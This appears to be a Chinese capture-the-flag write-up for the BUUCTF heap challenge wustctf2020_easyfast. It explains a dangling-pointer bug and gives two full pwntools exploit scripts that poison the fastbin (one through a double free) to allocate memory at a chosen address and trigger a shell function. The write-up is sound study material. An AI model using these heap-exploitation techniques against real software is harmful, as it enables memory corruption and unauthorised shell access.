[BUUCTF]-PWN:wustctf2020_easyfast解析

又是堆题,查看保护

[BUUCTF]-PWN:wustctf2020_easyfast解析_第1张图片

再看ida

[BUUCTF]-PWN:wustctf2020_easyfast解析_第2张图片

大致就是alloc创建堆块,free释放堆块,fill填充堆块,以及一个getshell的函数,但要满足条件。

值得注意的是free函数没有清空堆块指针

[BUUCTF]-PWN:wustctf2020_easyfast解析_第3张图片

所以可以用double free

有两种解法

解法一(double free):

完整exp:

from pwn import*
context(log_level='debug')
p=process('./easyfast')
target=0x602090

def alloc(size):
    p.sendlineafter(b'choice>',str(1))
    p.sendlineafter(b'size>',str(size))
def free(index):
    p.sendlineafter(b'choice>',str(2))
    p.sendlineafter(b'index>',str(index))
def fill(index,content):
    p.sendlineafter(b'choice>',str(3))
    p.sendlineafter(b'index>',str(index))
    p.send(content)
def shell():
    p.sendlineafter(b'choice>',str(4))

alloc(0x40) #这两个堆块的大小需要为0x50,所以申请0x40
alloc(0x40)
free(0)
free(1)
free(0)
payload=p64(target-0x10)
fill(0,payload)
alloc(0x40)
alloc(0x40)
payload=p64(0)
fill(3,payload)
shell()
p.interactive()

在这个方法中我们释放了两次chunk0,接下来再填充chunk0的fd就可以达到在任意地址创建堆块的目的。

[BUUCTF]-PWN:wustctf2020_easyfast解析_第4张图片

上图是释放两次堆块0,并且往堆块0的fd指针填充地址后的fastbin

并且还要注意,我们可以在那里创建堆块的必要条件是可以找到类似推头,从而绕开malloc的检查,否则行不通。题目故意设置了0x50,所以我们申请的堆块大小也要为0x50

[BUUCTF]-PWN:wustctf2020_easyfast解析_第5张图片

解法二:

完整exp:

from pwn import*
context(log_level='debug')
p=process('./easyfast')
target=0x602090

def alloc(size):
    p.sendlineafter(b'choice>',str(1))
    p.sendlineafter(b'size>',str(size))
def free(index):
    p.sendlineafter(b'choice>',str(2))
    p.sendlineafter(b'index>',str(index))
def fill(index,content):
    p.sendlineafter(b'choice>',str(3))
    p.sendlineafter(b'index>',str(index))
    p.send(content)
def shell():
    p.sendlineafter(b'choice>',str(4))

alloc(0x40)
alloc(0x80) #这个堆块只是防止释放堆块后被top chunk合并
free(0)
payload=p64(target-0x10)
fill(0,payload)
alloc(0x40)
alloc(0x40)
payload=p64(0)
fill(2,payload)
shell()
p.interactive()

这个方法较简便一点,没有free两次,而是借助未清零的堆块指针,直接填充fd

你可能感兴趣的:(PWN,python,开发语言)